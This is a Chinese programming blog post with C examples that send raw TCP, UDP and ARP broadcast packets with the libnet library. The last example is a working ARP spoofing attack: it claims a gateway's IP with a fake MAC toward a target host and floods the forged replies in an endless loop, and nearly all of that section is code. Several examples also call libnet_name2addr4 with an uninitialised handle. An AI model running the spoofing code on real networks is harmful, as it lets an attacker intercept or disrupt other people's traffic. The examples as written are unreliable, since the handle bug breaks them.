libnet发包例子(tcp udp arp广播)

最新推荐文章于 2022-07-26 15:58:09 发布
最新推荐文章于 2022-07-26 15:58:09 发布
阅读量3.3k 收藏 7
点赞数 2
分类专栏： 网络常识

TCP：

#include <libnet.h>

int main() {
    libnet_t *handle; /* Libnet句柄 */
    int packet_size; /* 构造的数据包大小 */
    char *device = "eth0"; /* 设备名字,也支持点十进制的IP地址,会自己找到匹配的设备 */
    char *src_ip_str = "192.168.2.148"; /* 源IP地址字符串 */
    char *dst_ip_str = "192.168.2.170"; /* 目的IP地址字符串 */
    u_char src_mac[6] = {0x00, 0x0c, 0x29, 0xba, 0xee, 0xdd}; /* 源MAC */
    u_char dst_mac[6] = {0x00, 0x0c, 0x29, 0x6d, 0x4d, 0x5c}; /* 目的MAC */
    u_long dst_ip, src_ip; /* 网路序的目的IP和源IP */
    char error[LIBNET_ERRBUF_SIZE]; /* 出错信息 */
    libnet_ptag_t eth_tag, ip_tag, tcp_tag, tcp_op_tag; /* 各层build函数返回值 */
    u_short proto = IPPROTO_TCP; /* 传输层协议 */
    u_char payload[255] = {0}; /* 承载数据的数组，初值为空 */
    u_long payload_s = 0; /* 承载数据的长度，初值为0 */

    /* 把目的IP地址字符串转化成网络序 */
    dst_ip = libnet_name2addr4(handle, dst_ip_str, LIBNET_RESOLVE);
    /* 把源IP地址字符串转化成网络序 */
    src_ip = libnet_name2addr4(handle, src_ip_str, LIBNET_RESOLVE);

    /* 初始化Libnet */
    if ( (handle = libnet_init(LIBNET_LINK, device, error)) == NULL ) {
        printf("libnet_init failure\n");
        return (-1);
    };

    strncpy(payload, "test", sizeof(payload)-1); /* 构造负载的内容 */
    payload_s = strlen(payload); /* 计算负载内容的长度 */

#if 0
    /* 构建TCP的选项,通常在第一个TCP通信报文中设置MSS */
    tcp_op_tag = libnet_build_tcp_options(
                payload,
                payload_s,
                handle,
                0
    );
    if (tcp_op_tag == -1) {
        printf("build_tcp_options failure\n");
        return (-2);
    };
#endif

    tcp_tag = libnet_build_tcp(
                30330,                    /* 源端口 */
                30331,                    /* 目的端口 */
                8888,                    /* 序列号 */
                8889,                    /* 确认号 */
                TH_PUSH | TH_ACK,        /* Control flags */
                14600,                    /* 窗口尺寸 */
                0,                        /* 校验和,0为自动计算 */
                0,                        /* 紧急指针 */
                LIBNET_TCP_H + payload_s, /* 长度 */
                payload,                    /* 负载内容 */
                payload_s,                /* 负载内容长度 */
                handle,                    /* libnet句柄 */
                0                        /* 新建包 */
    );
    if (tcp_tag == -1) {
        printf("libnet_build_tcp failure\n");
        return (-3);
    };

    /* 构造IP协议块，返回值是新生成的IP协议快的一个标记 */
    ip_tag = libnet_build_ipv4(
        LIBNET_IPV4_H + LIBNET_TCP_H + payload_s, /* IP协议块的总长,*/
        0, /* tos */
        (u_short) libnet_get_prand(LIBNET_PRu16), /* id,随机产生0~65535 */
        0, /* frag 片偏移 */
        (u_int8_t)libnet_get_prand(LIBNET_PR8), /* ttl,随机产生0~255 */
        proto, /* 上层协议 */
        0, /* 校验和，此时为0，表示由Libnet自动计算 */
        src_ip, /* 源IP地址,网络序 */
        dst_ip, /* 目标IP地址,网络序 */
        NULL, /* 负载内容或为NULL */
        0, /* 负载内容的大小*/
        handle, /* Libnet句柄 */
        0 /* 协议块标记可修改或创建,0表示构造一个新的*/
    );
    if (ip_tag == -1) {
        printf("libnet_build_ipv4 failure\n");
        return (-4);
    };

    /* 构造一个以太网协议块,只能用于LIBNET_LINK */
    eth_tag = libnet_build_ethernet(
        dst_mac, /* 以太网目的地址 */
        src_mac, /* 以太网源地址 */
        ETHERTYPE_IP, /* 以太网上层协议类型，此时为IP类型 */
        NULL, /* 负载，这里为空 */ 
        0, /* 负载大小 */
        handle, /* Libnet句柄 */
        0 /* 协议块标记，0表示构造一个新的 */ 
    );
    if (eth_tag == -1) {
        printf("libnet_build_ethernet failure\n");
        return (-5);
    };

    packet_size = libnet_write(handle); /* 发送已经构造的数据包*/

    libnet_destroy(handle); /* 释放句柄 */

    return (0);
}

UDP： 

#include <libnet.h>

int main() {
    libnet_t *handle; /* Libnet句柄 */
    int packet_size; /* 构造的数据包大小 */
    char *device = "eth0"; /* 设备名字,也支持点十进制的IP地址,会自己找到匹配的设备 */
    char *src_ip_str = "192.168.2.148"; /* 源IP地址字符串 */
    char *dst_ip_str = "192.168.2.170"; /* 目的IP地址字符串 */
    u_char src_mac[6] = {0x00, 0x0c, 0x29, 0xba, 0xee, 0xdd}; /* 源MAC */
    u_char dst_mac[6] = {0x00, 0x0c, 0x29, 0x6d, 0x4d, 0x5c}; /* 目的MAC */
    u_long dst_ip, src_ip; /* 网路序的目的IP和源IP */
    char error[LIBNET_ERRBUF_SIZE]; /* 出错信息 */
    libnet_ptag_t eth_tag, ip_tag, udp_tag; /* 各层build函数返回值 */
    u_short proto = IPPROTO_UDP; /* 传输层协议 */
    u_char payload[255] = {0}; /* 承载数据的数组，初值为空 */
    u_long payload_s = 0; /* 承载数据的长度，初值为0 */

    /* 把目的IP地址字符串转化成网络序 */
    dst_ip = libnet_name2addr4(handle, dst_ip_str, LIBNET_RESOLVE);
    /* 把源IP地址字符串转化成网络序 */
    src_ip = libnet_name2addr4(handle, src_ip_str, LIBNET_RESOLVE);

    /* 初始化Libnet */
    if ( (handle = libnet_init(LIBNET_LINK, device, error)) == NULL ) {
        printf("libnet_init failure\n");
        return (-1);
    };

    strncpy(payload, "test", sizeof(payload)-1); /* 构造负载的内容 */
    payload_s = strlen(payload); /* 计算负载内容的长度 */

    udp_tag = libnet_build_udp(
                30330, /* 源端口 */
                30331, /* 目的端口 */
                LIBNET_UDP_H + payload_s, /* 长度 */
                0, /* 校验和,0为libnet自动计算 */
                payload, /* 负载内容 */
                payload_s, /* 负载内容长度 */
                handle, /* libnet句柄 */
                0 /* 新建包 */
    );
    if (udp_tag == -1) {
        printf("libnet_build_tcp failure\n");
        return (-3);
    };

    /* 构造IP协议块，返回值是新生成的IP协议快的一个标记 */
    ip_tag = libnet_build_ipv4(
        LIBNET_IPV4_H + LIBNET_UDP_H + payload_s, /* IP协议块的总长,*/
        0, /* tos */
        (u_short) libnet_get_prand(LIBNET_PRu16), /* id,随机产生0~65535 */
        0, /* frag 片偏移 */
        (u_int8_t)libnet_get_prand(LIBNET_PR8), /* ttl,随机产生0~255 */
        proto, /* 上层协议 */
        0, /* 校验和，此时为0，表示由Libnet自动计算 */
        src_ip, /* 源IP地址,网络序 */
        dst_ip, /* 目标IP地址,网络序 */
        NULL, /* 负载内容或为NULL */
        0, /* 负载内容的大小*/
        handle, /* Libnet句柄 */
        0 /* 协议块标记可修改或创建,0表示构造一个新的*/
    );
    if (ip_tag == -1) {
        printf("libnet_build_ipv4 failure\n");
        return (-4);
    };

    /* 构造一个以太网协议块,只能用于LIBNET_LINK */
    eth_tag = libnet_build_ethernet(
        dst_mac, /* 以太网目的地址 */
        src_mac, /* 以太网源地址 */
        ETHERTYPE_IP, /* 以太网上层协议类型，此时为IP类型 */
        NULL, /* 负载，这里为空 */ 
        0, /* 负载大小 */
        handle, /* Libnet句柄 */
        0 /* 协议块标记，0表示构造一个新的 */ 
    );
    if (eth_tag == -1) {
        printf("libnet_build_ethernet failure\n");
        return (-5);
    };

    packet_size = libnet_write(handle); /* 发送已经构造的数据包*/

    libnet_destroy(handle); /* 释放句柄 */

    return (0);
}


ARP 广播包：

#include <libnet.h>

int main() {
    libnet_t *handle;        /* Libnet句柄 */
    int packet_size;
    char *device = "eth0";   /* 设备名字,也支持点十进制的IP地址,会自己找到匹配的设备 */
    u_int8_t *src_ip_str = "192.168.128.200";       /* 源IP地址字符串 */
    u_int8_t *dst_ip_str = "192.168.128.88";        /* 目的IP地址字符串 */
    u_int8_t src_mac[6] = {0x00, 0x0c, 0x29, 0x73, 0xfa, 0x86};/* 源MAC */
    u_int8_t dst_mac[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};/* 目的MAC,广播地址 */
    /* 接收方MAC,ARP请求目的就是要询问对方MAC,所以这里填写0 */
    u_int8_t rev_mac[6] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
    u_int32_t dst_ip, src_ip;              /* 网路序的目的IP和源IP */
    char error[LIBNET_ERRBUF_SIZE];        /* 出错信息 */
    libnet_ptag_t arp_proto_tag, eth_proto_tag;

    /* 把目的IP地址字符串转化成网络序 */
    dst_ip = libnet_name2addr4(handle, dst_ip_str, LIBNET_RESOLVE);
    /* 把源IP地址字符串转化成网络序 */
    src_ip = libnet_name2addr4(handle, src_ip_str, LIBNET_RESOLVE);

    if ( dst_ip == -1 || src_ip == -1 ) {
        printf("ip address convert error\n");
        exit(-1);
    };
    /* 初始化Libnet,注意第一个参数和TCP初始化不同 */
    if ( (handle = libnet_init(LIBNET_LINK_ADV, device, error)) == NULL ) {
        printf("libnet_init: error [%s]\n", error);
        exit(-2);
    };

    /* 构造arp协议块 */
    arp_proto_tag = libnet_build_arp(
                ARPHRD_ETHER,        /* 硬件类型,1表示以太网硬件地址 */ 
                ETHERTYPE_IP,        /* 0x0800表示询问IP地址 */ 
                6,                   /* 硬件地址长度 */ 
                4,                   /* IP地址长度 */ 
                ARPOP_REQUEST,       /* 操作方式:ARP请求 */ 
                src_mac,             /* source MAC addr */ 
                (u_int8_t *)&src_ip, /* src proto addr */ 
                rev_mac,             /* dst MAC addr */ 
                (u_int8_t *)&dst_ip, /* dst IP addr */ 
                NULL,                /* no payload */ 
                0,                   /* payload length */ 
                handle,              /* libnet tag */ 
                0                    /* Create new one */
    );
    if (arp_proto_tag == -1)    {
        printf("build IP failure\n");
        exit(-3);
    };

    /* 构造一个以太网协议块
    You should only use this function when 
    libnet is initialized with the LIBNET_LINK interface.*/
    eth_proto_tag = libnet_build_ethernet(
        dst_mac,         /* 以太网目的地址 */
        src_mac,         /* 以太网源地址 */
        ETHERTYPE_ARP,   /* 以太网上层协议类型，此时为ARP请求 */
        NULL,            /* 负载，这里为空 */ 
        0,               /* 负载大小 */
        handle,          /* Libnet句柄 */
        0                /* 协议块标记，0表示构造一个新的 */ 
    );
    if (eth_proto_tag == -1) {
        printf("build eth_header failure\n");
        return (-4);
    };

    packet_size = libnet_write(handle);    /* 发送已经构造的数据包*/

    libnet_destroy(handle);                /* 释放句柄 */

    return (0);
}


ARP 应答 （ARP欺骗）

#include <libnet.h>

int main() {
    libnet_t *handle;        /* Libnet句柄 */
    int packet_size;
    char *device = "eth0";    /* 设备名字,也支持点十进制的IP地址,会自己找到匹配的设备 */
    u_int8_t *src_ip_str = "192.168.2.30";        /* 冒充的网关IP */
    u_int8_t *dst_ip_str = "192.168.2.170";        /* 干扰的目标IP */
    u_int8_t src_mac[6] = {0x00, 0x0c, 0x29, 0x73, 0xfa, 0x11};/* 虚假的源MAC */
    u_int8_t dst_mac[6] = {0x00, 0x0c, 0x29, 0x6d, 0x4d, 0x5c};/* 干扰的目标MAC */
    u_int32_t dst_ip, src_ip;                /* 网路序的目的IP和源IP */
    char error[LIBNET_ERRBUF_SIZE];        /* 出错信息 */
    libnet_ptag_t arp_proto_tag, eth_proto_tag;

    /* 把目的IP地址字符串转化成网络序 */
    dst_ip = libnet_name2addr4(handle, dst_ip_str, LIBNET_RESOLVE);
    /* 把源IP地址字符串转化成网络序 */
    src_ip = libnet_name2addr4(handle, src_ip_str, LIBNET_RESOLVE);

    if ( dst_ip == -1 || src_ip == -1 ) {
        printf("ip address convert error\n");
        exit(-1);
    };
    /* 初始化Libnet,注意第一个参数和TCP初始化不同 */
    if ( (handle = libnet_init(LIBNET_LINK_ADV, device, error)) == NULL ) {
        printf("libnet_init: error [%s]\n", error);
        exit(-2);
    };

    /* 构造arp协议块 */
    arp_proto_tag = libnet_build_arp(
                ARPHRD_ETHER,        /* 硬件类型,1表示以太网硬件地址 */ 
                ETHERTYPE_IP,        /* 0x0800表示询问IP地址 */ 
                6,                    /* 硬件地址长度 */ 
                4,                    /* IP地址长度 */ 
                ARPOP_REPLY,        /* 操作方式:ARP请求 */ 
                src_mac,                /* source MAC addr */ 
                (u_int8_t *)&src_ip,    /* src proto addr */ 
                dst_mac,                /* dst MAC addr */ 
                (u_int8_t *)&dst_ip,    /* dst IP addr */ 
                NULL,                /* no payload */ 
                0,                    /* payload length */ 
                handle,                /* libnet tag */ 
                0                    /* Create new one */
    );
    if (arp_proto_tag == -1)    {
        printf("build IP failure\n");
        exit(-3);
    };

    /* 构造一个以太网协议块
    You should only use this function when 
    libnet is initialized with the LIBNET_LINK interface.*/
    eth_proto_tag = libnet_build_ethernet(
        dst_mac,            /* 以太网目的地址 */
        src_mac,            /* 以太网源地址 */
        ETHERTYPE_ARP,    /* 以太网上层协议类型，此时为ARP请求 */
        NULL,            /* 负载，这里为空 */ 
        0,                /* 负载大小 */
        handle,            /* Libnet句柄 */
        0                /* 协议块标记，0表示构造一个新的 */ 
    );
    if (eth_proto_tag == -1)    {
        printf("build eth_header failure\n");
        return (-4);
    };

    while(1) {
        packet_size = libnet_write(handle);        /* 死循环发送arp欺骗广播 */
        usleep(1000);
    };

    libnet_destroy(handle);                /* 释放句柄 */

    return (0);
}


tiny丶
关注
  • 2
    点赞
  • 踩
  • 7
    收藏
    觉得还不错? 一键收藏
  • 5
    评论
专栏目录
libnet网络编程
05-24
利用libnet库进行网络编程，方便快捷，易掌握!
libnet库下载、编译、示例、文档
kanguolaikanguolaik的专栏
07-17 6848
一、libnet库下载： 官网下载地址： https://github.com/sam-github/libnet http://sourceforge.net/projects/libnet-dev/ http://packetfactory.openwall.net/projects/libnet/index.html 二、libnet库编
高性能C++网络库libtnet实践：comet单机百万连接挂载测试
weixin_34143774的博客
01-01 140
最近在用go语言做一个挂载大量长连接的推送服务器，虽然已经完成，但是内存占用情况让我不怎么满意，于是考虑使用libtnet来重新实现一个。后续我会使用comet来表明推送服务器。 对于comet来说，单机能支撑大量的并发连接，是最优先考虑的事项。虽然现在业界已经有了很多数据，说单机支撑200w，300w，但我还是先把目标定在100w上面，主要的原因在于实际运行中，comet还会有...
libnet发包java语言_java.net.SocketException：Connection reset 原因分析与故障重现
weixin_39866741的博客
12-20 1037
前两天同事问了一个 java.net.SocketException: Connection reset 的问题，场景是在一个 Java 应用中使用 httpClient 请求远程一个 RestfulApi 接口，但返回报错 Connection reset。由于没有到现场查看日志，只能通过查看源码和资料进行故障重现，本文记录了问题的分析过程。异常信息[2019-10-24 14:55:34.39...
如何将libnet移植到MinGW
Utensil的专栏
08-03 4104
本文为原创。转载请注明：作者：Utensil博客：http://blog.csdn.net/utensil/邮箱：[email protected] 鉴于网上存在两个libnet，本文中所谓libnet是指位于http://www.packetfactory.net/libnet/的The Libnet Packet Construction Library。libnet是
libnet使用问题解决
渐行渐远
06-16 1285
1. 源代码 libnet源代码可以在http://sourcecodebrowser.com/libnet/1.1.2.1/libnet-functions_8h.html中查询到，包括各个函数的调用关系等。 2. 环境搭建、安装使用 待完善 3. 遇到的问题
Libnet简单学习
SmallGiraffe的博客
07-26 1439
最近做项目需要使用libnet，在网上搜集了一些资料，记录一下
使用libnet_build_tcp_options设置options数据
weixin_34117522的博客
07-03 286
在使用libnet发送TCP SYN数据时，一般默认不设置options信息，即没有mss和时间戳。在某些IDC机房，这些数据会被拦截掉。出现的现象是使用telnet访问没有问题，但是libnet发送SYN数据包没有回应。需要在发包的时候设置options信息。libnet提供了libnet_builf_tcp_options来进行设置。uint8_tpayload[20]...
Linux 网络编程—— libnet 使用指南
热门推荐
秋叶原 && Mike || 麦克
04-12 3万+
概述 通过《原始套接字实例：发送 UDP 数据包》的学习，我们组 UDP 数据包时常考虑字节流顺序、校验和计算等问题，有时候会比较繁琐，那么，有没有一种更简单的方法呢？答案是：借助 libnet 函数库。 libnet 是一个小型的接口函数库，主要用 C 语言写成，提供了低层网络数据包的构造、处理和发送功能。 libnet 的开发目的是：建立一个简单统一的网络编程接口以屏
libnet使用举例(3)
虫子的专栏
07-14 3320
 作者：小四 主页：http://www.isbase.com日期：2000-07-27 11:05syn-flood的原理不再重复。需要通过命令行传递目标IP，应该允许指定单个IP或者指定一个IP范围，这个可以统一成指定IP范围。还需要通过命令行传递目标端口，同上，允许指定端口范围，指定单个PORT的时候就是把范围局限在一个端口上。无论什么理由，都不应该直接使用本机(发起攻击的主机)IP作为源I
libnet
03-20
libnet
ARP_test.rar_libnet arp
09-23
发送ARP数据包的程序，定制自己的arp数据包，修改源代码可以改写成ARP欺骗的的小程序，使用libnet的d
Linux使用libnet实现ARP攻击脚本原理分析以防被攻击
09-15
主要介绍了Linux使用libnet实现ARP攻击脚本分析，大家可以参考预防这样的攻击
libnet libpcap ettercap 发送arp包
10-01
linux下 链路层 编程 libnet libpcap ettercap 发送arp包 arp包 下载地址：http://www.pudn.com/downloads208/sourcecode/unix_linux/network/detail978703.html
利用matlab对am，dsb，ssb，ask，fsk，bpsk信号进行正交调制解调仿真
最新发布
04-18
利用matlab对am，dsb，ssb，ask，fsk，bpsk信号进行正交调制解调仿真，并在不同信噪比条件下对其数字信号进行了误码率的计算。.rar
任务悬赏活动，带分销返佣
04-18
任务悬赏活动，带分销返佣
2024年互联网平台行业分析报告.pptx
04-18
行业分析报告
2024年中国控制膨胀合金箔行业研究报告.docx
04-18
2024年中国控制膨胀合金箔行业研究报告
perl-libnet
06-12
perl-libnet 支持多种不同的网络通信协议，例如 TCP、UDP、SMTP、HTTP、FTP 等等，开发者可以根据实际的需求选择不同的网络通信协议来实现需要的应用程序。 使用 perl-libnet 可以帮助开发者更加高效地进行网络编程...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值